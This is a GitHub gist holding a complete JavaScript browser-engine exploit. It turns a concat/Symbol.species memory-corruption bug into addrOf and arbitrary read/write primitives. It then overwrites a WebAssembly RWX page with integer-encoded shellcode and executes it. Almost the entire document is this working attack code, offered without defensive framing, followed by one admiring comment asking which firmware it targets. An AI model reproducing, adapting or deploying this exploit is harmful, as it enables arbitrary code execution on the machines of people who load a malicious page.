Created
August 14, 2021 06:44
-
-
Save cd789/d3df65b73a2d3cd59085eaf9068eadce to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Helpers { | |
constructor() { | |
this.buf = new ArrayBuffer(8); | |
this.f64 = new Float64Array(this.buf); | |
this.f32 = new Float32Array(this.buf); | |
this.u32 = new Uint32Array(this.buf); | |
this.u64 = new BigUint64Array(this.buf); | |
this.state = {}; | |
} | |
ftoil(f) { | |
this.f64[0] = f; | |
return this.u32[0] | |
} | |
ftoih(f) { | |
this.f64[0] = f; | |
return this.u32[1] | |
} | |
itof(i) { | |
this.u32[0] = i; | |
return this.f32[0]; | |
} | |
f64toi64(f) { | |
this.f64[0] = f; | |
return this.u64[0]; | |
} | |
i64tof64(i) { | |
this.u64[0] = i; | |
return this.f64[0]; | |
} | |
printhex(val) { | |
console.log('0x' + val.toString(16)); | |
} | |
add_ref(object) { | |
this.state[this.i++] = object; | |
} | |
} | |
function pwn() { | |
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); | |
var wasm_mod = new WebAssembly.Module(wasm_code); | |
var wasm_instance = new WebAssembly.Instance(wasm_mod); | |
var f = wasm_instance.exports.main; | |
var helper = new Helpers(); | |
var buf = new ArrayBuffer(0x1000); | |
var dataview = new DataView(buf); | |
var corrupted_array; | |
function information_leak() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
// This is required to avoid an exception being thrown | |
// here: | |
lta.__defineSetter__('length', function() {}) | |
// Create a Literal JSArray | |
var a = [ | |
/* hole */ | |
, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS | |
]; | |
// We'll be using this in create_fake_object | |
var fake_object = new Float32Array(16); | |
// We'll be using this for our addrOf primitive | |
var addrof_array = [{}, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]; | |
/* | |
Set the `.constructor` property here instead of creating a class | |
so we can continue using Literal Double arrays | |
class MyArray extends Array { | |
static get [Symbol.species]() { | |
return function() { | |
return p; | |
} | |
}; | |
} | |
*/ | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { | |
return lta; | |
} | |
}); | |
a.constructor = C; | |
/* | |
Set the index on the Literal Array's prototype | |
to an object. | |
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL | |
be converted to HOLEY_ELEMENTS. | |
*/ | |
Array.prototype[0] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC | |
delete Array.prototype[0]; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
/* | |
prop map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.map = helper.ftoil(lta[1]); | |
helper.state.properties = helper.ftoih(lta[1]); | |
helper.state.elements = helper.ftoil(lta[2]); | |
helper.state.length = helper.ftoih(lta[2]); | |
/* | |
Calculate offsets to the Float32Array | |
that will hold our fake JSArray | |
*/ | |
helper.state.fake_object = fake_object; | |
helper.state.addrof_array = addrof_array; | |
helper.state.fake_object_address = helper.state.elements + 0xa0; | |
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60; | |
helper.state.addrof_array_addr = helper.state.elements + 0xe4; | |
helper.add_ref(a); | |
} | |
function create_fake_object() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
lta.__defineSetter__('length', function() {}) | |
var a = [ | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, /* hole */ , 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS | |
]; | |
/* | |
Create a a Float32Array that will store the pointer | |
of our Fake `JSArray` one index behind /\* hole *\/ | |
after `a` is shortened by the `valueOf` callback | |
*/ | |
var fake_jsarray_object_ptr = new Float32Array(16); | |
fake_jsarray_object_ptr[0] = helper.itof(helper.state.fake_object_bytearray_address); | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { | |
return lta; | |
} | |
}); | |
a.constructor = C; | |
/* | |
Fake JSArray | |
proto map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.fake_object[0] = helper.itof(helper.state.map); | |
helper.state.fake_object[1] = helper.itof(helper.state.properties); | |
helper.state.fake_object[2] = helper.itof(helper.state.elements); | |
helper.state.fake_object[3] = helper.itof(helper.state.length); | |
Array.prototype[19] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); | |
Object.prototype.valueOf = function() { | |
corrupted_array = this; // grab our fake `JSArray` | |
delete Object.prototype.valueOf; // clean up this valueOf | |
throw 'bailout'; // throw to escape Object::ToNumber | |
return 42; | |
} | |
delete Array.prototype[19]; | |
return 1.1; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
} | |
function addrOf(object) { | |
helper.state.fake_object[2] = helper.itof(helper.state.addrof_array_addr); | |
helper.state.addrof_array[0] = object; | |
return helper.ftoil(corrupted_array[0]); | |
} | |
function arbRead(where) { | |
helper.state.fake_object[2] = helper.itof(where); | |
return helper.f64toi64(corrupted_array[0]); | |
} | |
function arbWrite(where, what) { | |
helper.state.fake_object[2] = helper.itof(where); | |
corrupted_array[0] = helper.i64tof64(what); | |
} | |
information_leak(); | |
try { | |
create_fake_object(); | |
} catch (e) {} | |
var wasm_instance_ptr = addrOf(wasm_instance); | |
var RWX_PAGE = arbRead(wasm_instance_ptr + 0x60); | |
var buf_addr = addrOf(buf); | |
var backing_store = buf_addr + 0xc; | |
arbWrite(backing_store, RWX_PAGE); | |
var shellcode = [16889928, 16843009, 1213202689, 1652108984, 23227744, 70338561, 800606244, 796029813, 1349413218, 1760004424, 16855099, 19149953, 1208025345, 1397310648, 1497451600, 3526447165, 1510500946, 1390543176, 1222805832, 16843192, 16843009, 3091746817, 1617066286, 16867949, 604254536, 1966061640, 1647276659, 827354729, 141186806, 3858843742, 3867756630, 257440618, 2425393157]; | |
for (var i = 0; i < shellcode.length; i++) { | |
dataview.setUint32(4 * i, shellcode[i], true); | |
} | |
f(); | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Awesome discover. What FW is it for ? And good job!